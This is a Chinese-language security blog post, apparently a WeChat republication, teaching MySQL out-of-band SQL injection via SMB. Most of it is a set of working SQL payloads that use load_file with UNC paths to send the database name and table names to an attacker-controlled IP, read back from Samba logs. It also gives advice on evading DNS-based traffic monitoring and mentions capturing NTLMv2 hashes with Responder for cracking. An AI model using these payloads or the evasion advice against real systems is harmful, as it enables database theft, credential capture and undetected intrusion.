需求:secure_file_priv为空,目标系统为windows
smb设置如下:
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
聚合网络安全,存储安全技术文章,融合安全最新讯息
需求:secure_file_priv为空,目标系统为windows
smb设置如下:
找到 security = user , 旧版本将user 改为share,这里我用的新版本,需要在后面添加:
map to guest = Bad User
新设置一个smb
smb日志:/var/log/samba
smb外带注入与DNS外带注入比较:
smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。
smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。
构造sql语句:
select load_file(concat("\\<IP>\",(SQL语句),"\xxx"))
为了方便从log里提取查询的内容,可以构造如下语句
select load_file(concat("\\10.23.79.94\yayi[",database(),"]\1.txt"));
查询当前数据库里的表
1. 使用limit
2. substring截断
使用limit请先获取总共的表数
select load_file(concat("\\10.23.79.94\yayi[",(select count(table_name) from information_schema.tables where table_schema=database()),"]\1.txt"));
再用limit逐个查询
select load_file(concat("\\10.23.79.94\yayi[",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"]\1.txt"));
substring截断
截断到120字符串即可select load_file(concat("\\10.23.79.94\yayi[",(select substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,120)),"]\1.txt"));
还有另外种方法就是利用smb获取ntlm hash,适用于知道目标一定的凭证。利用responder获取ntlm v2然后爆破
参考链接:http://moonslow.com/article/smb_sql_injection
最后
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
无害实验室拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
本文始发于微信公众号(无害实验室sec):mysql smb外带注入
评论